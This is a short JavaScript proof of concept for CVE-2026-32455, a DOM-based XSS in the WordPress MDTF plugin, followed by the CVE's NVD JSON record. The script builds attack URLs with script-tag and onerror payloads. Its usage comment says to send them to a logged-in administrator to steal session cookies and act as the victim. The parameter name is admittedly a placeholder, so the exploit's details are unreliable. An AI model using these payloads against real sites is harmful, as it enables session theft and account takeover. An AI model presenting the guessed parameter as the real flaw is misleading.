CVE-2026-32455

// CVE-2026-32455 DOM-based XSS PoC // Target: WordPress MDTF Plugin <= 1.3.5 // Malicious URL payload const maliciousPayload = '<script>alert(document.cookie)</script>'; const baseUrl = window.location.origin + window.location.pathname; // Attack URL - inject XSS payload through plugin's filter parameter const attackUrl = baseUrl + '?mdtf_filter_' + encodeURIComponent(maliciousPayload); console.log('CVE-2026-32455 PoC'); console.log('Target: MDTF Plugin DOM-based XSS'); console.log('Payload:', maliciousPayload); console.log('Generated Attack URL:', attackUrl); // Alternative payload using event handler const altPayload = '" onerror="alert(document.domain)" data-xx="'; const altAttackUrl = baseUrl + '?mdtf_filter_name=' + encodeURIComponent(altPayload); console.log('Alternative Payload:', altPayload); console.log('Alternative Attack URL:', altAttackUrl); /* Usage: 1. Replace 'mdtf_filter_' with the actual parameter name used by the plugin 2. Send the attack URL to a logged-in WordPress administrator or user 3. When the victim visits the URL, the XSS payload will be executed 4. Attacker can steal session cookies, perform actions on behalf of victim */

{"cve": {"id": "CVE-2026-32455", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:07.383", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter allows DOM-Based XSS.This issue affects MDTF: from n/a through <= 1.3.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter permite XSS basado en DOM. Este problema afecta a MDTF: desde n/a hasta &lt;= 1.3.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-meta-data-filter-and-taxonomy-filter/vulnerability/wordpress-mdtf-plugin-1-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}